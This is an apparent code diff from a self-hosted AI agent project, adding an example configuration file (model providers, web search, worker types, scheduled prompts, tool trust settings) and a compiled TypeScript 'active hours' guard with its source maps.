+ # context_window: 200000
145
+ # max_tokens: 64000
146
+
147
+ # Google Gemini
148
+ # - name: google
149
+ # base_url: https://generativelanguage.googleapis.com/v1beta/openai
150
+ # api_key: ${GOOGLE_API_KEY}
151
+ # models:
152
+ # - id: "gemini-2.5-flash"
153
+ # context_window: 1048576
154
+ # max_tokens: 65536
155
+
156
+ # Ollama (local or remote)
157
+ # - name: ollama
158
+ # base_url: http://localhost:11434/v1
159
+ # api_key: "ollama"
160
+ # models:
161
+ # - id: "qwen3:32b"
162
+
163
+ # Together AI
164
+ # - name: together
165
+ # base_url: https://api.together.xyz/v1
166
+ # api_key: ${TOGETHER_API_KEY}
167
+ # models:
168
+ # - id: "Qwen/Qwen3-235B-A22B"
169
+
170
+ # ---------------------------------------------------------------------------
171
+ # Tools
172
+ # ---------------------------------------------------------------------------
173
+
174
+ tools:
175
+ # Web search for workers. Set brave_api_key OR searxng_url (not both).
176
+ # If both are set, Brave takes priority.
177
+ # If neither is set, web search is disabled for workers.
178
+ web_search:
179
+ # Option A: Brave Search API. Free tier: 2000 queries/month, no self-hosting.
180
+ # Get a key at https://api.search.brave.com/
181
+ # brave_api_key: "${BRAVE_API_KEY}"
182
+
183
+ # Option B: SearXNG. Self-hosted or public instance, no API key needed.
184
+ searxng_url: "https://searx.be"
185
+
186
+ # fetch_url:
187
+ # timeout_ms: 10000 # default: 10s
188
+
189
+ # files:
190
+ # base_dir: ./data/files # default
191
+
192
+ workers:
193
+ max_concurrent: 3
194
+ # Default model for background workers. Falls back to the first
195
+ # fallback_model, then the primary agent model.
196
+ # model: "opencode/minimax-m2.5-free"
197
+
198
+ # Named worker types. The agent selects a type when dispatching to get
199
+ # preset defaults for model, tools, and timeout. Explicit parameters on
200
+ # the dispatch call still override type defaults.
201
+ # The agent can also define new types by editing this file and restarting.
202
+ # types:
203
+ # research:
204
+ # description: "Web research and content gathering"
205
+ # model: "opencode/minimax-m2.5-free"
206
+ # tools: [web_search, fetch_url]
207
+ # timeout_seconds: 3600
208
+ # analysis:
209
+ # description: "Deep analysis using a stronger model"
210
+ # model: "anthropic/claude-sonnet-4-6"
211
+ # tools: [fetch_url]
212
+ # timeout_seconds: 1800
213
+
214
+ # ---------------------------------------------------------------------------
215
+ # Integrations (optional)
216
+ #
217
+ # Values here are injected into process.env at startup so extensions can
218
+ # read them without separate .env entries.
219
+ #
220
+ # Convention: integrations.<name>.<key> becomes the env var NAME_KEY (uppercased).
221
+ # Example: integrations.hedgedoc.url → HEDGEDOC_URL
222
+ #
223
+ # Secrets (API keys, tokens) should still use ${VAR} substitution so they
224
+ # stay in .env and out of config.yml.
225
+ # ---------------------------------------------------------------------------
226
+
227
+ # integrations:
228
+ # hedgedoc:
229
+ # url: "http://hedgedoc:3000" # internal Docker network URL
230
+ # public_url: "https://docs.example.com" # user-facing URL for shared links
231
+ #
232
+ # # Any future integration follows the same pattern:
233
+ # # my_service:
234
+ # # url: "https://api.example.com"
235
+ # # api_key: "${MY_SERVICE_API_KEY}" # secret stays in .env
236
+
237
+ # ---------------------------------------------------------------------------
238
+ # Scheduled prompts (optional)
239
+ # ---------------------------------------------------------------------------
240
+
241
+ cron: []
242
+ # - schedule: "0 8 * * *"
243
+ # message: "Good morning! Brief me on anything I need to know today."
244
+ # - schedule: "0 18 * * 1-5"
245
+ # message: "Summarize what we discussed today and update memory with action items."
246
+
247
+ # ---------------------------------------------------------------------------
248
+ # Trust levels (runtime permissions for elevated tools)
249
+ # ---------------------------------------------------------------------------
250
+
251
+ # Extension tools (shell_exec, http_request, etc.) require approval before
252
+ # first use. Pre-approve tools here to skip the permission prompt.
253
+ # trust:
254
+ # approved_tools:
255
+ # - shell_exec
256
+ # - http_request
257
+ # - weather_weert
258
+
259
+ # ---------------------------------------------------------------------------
260
+ # Active hours (optional; limits when the scheduler can send messages)
261
+ # ---------------------------------------------------------------------------
262
+
263
+ # active_hours:
264
+ # start: "08:00"
265
+ # end: "23:00"
@@ -0,0 +1,23 @@
1
+ /**
2
+ * Active hours guard.
3
+ *
4
+ * Determines whether the current time falls within the configured active
5
+ * window so scheduler callbacks skip during quiet hours. Absent config
6
+ * means always active. Overnight windows (start > end) are supported.
7
+ */
8
+ export interface ActiveHoursConfig {
9
+ /** IANA timezone name, e.g. "Europe/Amsterdam". */
10
+ timezone: string;
11
+ /** Start of active window, "HH:MM", inclusive. */
12
+ start: string;
13
+ /** End of active window, "HH:MM", exclusive. */
14
+ end: string;
15
+ }
16
+ /**
17
+ * Return true if the given time (default: now) is within the active window.
18
+ *
19
+ * When cfg is undefined, always returns true (no restriction configured).
20
+ * The optional `now` parameter exists for testing.
21
+ */
22
+ export declare function isActiveNow(cfg: ActiveHoursConfig | undefined, now?: Date): boolean;
23
+ //# sourceMappingURL=active-hours.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"active-hours.d.ts","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,MAAM,WAAW,iBAAiB;IAChC,mDAAmD;IACnD,QAAQ,EAAE,MAAM,CAAC;IACjB,kDAAkD;IAClD,KAAK,EAAE,MAAM,CAAC;IACd,gDAAgD;IAChD,GAAG,EAAE,MAAM,CAAC;CACb;AAqCD;;;;;GAKG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,iBAAiB,GAAG,SAAS,EAAE,GAAG,CAAC,EAAE,IAAI,GAAG,OAAO,CAsBnF"}
@@ -0,0 +1,68 @@
1
+ /**
2
+ * Active hours guard.
3
+ *
4
+ * Determines whether the current time falls within the configured active
5
+ * window so scheduler callbacks skip during quiet hours. Absent config
6
+ * means always active. Overnight windows (start > end) are supported.
7
+ */
8
+ /**
9
+ * Parse "HH:MM" into total minutes since midnight. Returns NaN on bad input.
10
+ */
11
+ function parseHHMM(hhmm) {
12
+ const match = hhmm.match(/^(\d{1,2}):(\d{2})$/);
13
+ if (!match)
14
+ return NaN;
15
+ const h = parseInt(match[1], 10);
16
+ const m = parseInt(match[2], 10);
17
+ if (h > 23 || m > 59)
18
+ return NaN;
19
+ return h * 60 + m;
20
+ }
21
+ /**
22
+ * Get the HH:MM minutes for a given Date in the given IANA timezone.
23
+ * Falls back to UTC on unknown timezone.
24
+ */
25
+ function currentMinutesInZone(timezone, now = new Date()) {
26
+ try {
27
+ const parts = new Intl.DateTimeFormat("en-GB", {
28
+ timeZone: timezone,
29
+ hour: "2-digit",
30
+ minute: "2-digit",
31
+ hour12: false,
32
+ }).formatToParts(now);
33
+ const h = parseInt(parts.find((p) => p.type === "hour")?.value ?? "0", 10);
34
+ const m = parseInt(parts.find((p) => p.type === "minute")?.value ?? "0", 10);
35
+ return h * 60 + m;
36
+ }
37
+ catch {
38
+ // Unknown timezone: fall back to UTC
39
+ console.warn(`[active-hours] Unknown timezone "${timezone}", falling back to UTC`);
40
+ return now.getUTCHours() * 60 + now.getUTCMinutes();
41
+ }
42
+ }
43
+ /**
44
+ * Return true if the given time (default: now) is within the active window.
45
+ *
46
+ * When cfg is undefined, always returns true (no restriction configured).
47
+ * The optional `now` parameter exists for testing.
48
+ */
49
+ export function isActiveNow(cfg, now) {
50
+ if (!cfg)
51
+ return true;
52
+ const startMin = parseHHMM(cfg.start);
53
+ const endMin = parseHHMM(cfg.end);
54
+ if (isNaN(startMin) || isNaN(endMin)) {
55
+ console.warn(`[active-hours] Invalid active_hours config (start="${cfg.start}" end="${cfg.end}"), treating as always active`);
56
+ return true;
57
+ }
58
+ const nowMin = currentMinutesInZone(cfg.timezone, now);
59
+ if (startMin <= endMin) {
60
+ // Normal window: 08:00–23:00
61
+ return nowMin >= startMin && nowMin < endMin;
62
+ }
63
+ else {
64
+ // Overnight window: 22:00–06:00
65
+ return nowMin >= startMin || nowMin < endMin;
66
+ }
67
+ }
68
+ //# sourceMappingURL=active-hours.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"active-hours.js","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAWH;;GAEG;AACH,SAAS,SAAS,CAAC,IAAY;IAC7B,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,qBAAqB,CAAC,CAAC;IAChD,IAAI,CAAC,KAAK;QAAE,OAAO,GAAG,CAAC;IACvB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,IAAI,CAAC,GAAG,EAAE,IAAI,CAAC,GAAG,EAAE;QAAE,OAAO,GAAG,CAAC;IACjC,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;AACpB,CAAC;AAED;;;GAGG;AACH,SAAS,oBAAoB,CAAC,QAAgB,EAAE,MAAY,IAAI,IAAI,EAAE;IACpE,IAAI,CAAC;QACH,MAAM,KAAK,GAAG,IAAI,IAAI,CAAC,cAAc,CAAC,OAAO,EAAE;YAC7C,QAAQ,EAAE,QAAQ;YAClB,IAAI,EAAE,SAAS;YACf,MAAM,EAAE,SAAS;YACjB,MAAM,EAAE,KAAK;SACd,CAAC,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC;QAEtB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC3E,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC7E,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;IACpB,CAAC;IAAC,MAAM,CAAC;QACP,qCAAqC;QACrC,OAAO,CAAC,IAAI,CAAC,oCAAoC,QAAQ,wBAAwB,CAAC,CAAC;QACnF,OAAO,GAAG,CAAC,WAAW,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,aAAa,EAAE,CAAC;IACtD,CAAC;AACH,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,WAAW,CAAC,GAAkC,EAAE,GAAU;IACxE,IAAI,CAAC,GAAG;QAAE,OAAO,IAAI,CAAC;IAEtB,MAAM,QAAQ,GAAG,SAAS,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;IACtC,MAAM,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAElC,IAAI,KAAK,CAAC,QAAQ,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,EAAE,CAAC;QACrC,OAAO,CAAC,IAAI,CACV,sDAAsD,GAAG,CAAC,KAAK,UAAU,GAAG,CAAC,GAAG,+BAA+B,CAChH,CAAC;QACF,OAAO,IAAI,CAAC;IACd,CAAC;IAED,MAAM,MAAM,GAAG,oBAAoB,CAAC,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC;IAEvD,IAAI,QAAQ,IAAI,MAAM,EAAE,CAAC;QACvB,6BAA6B;QAC7B,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;SAAM,CAAC;QACN,gCAAgC;QAChC,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;AACH,CAAC"}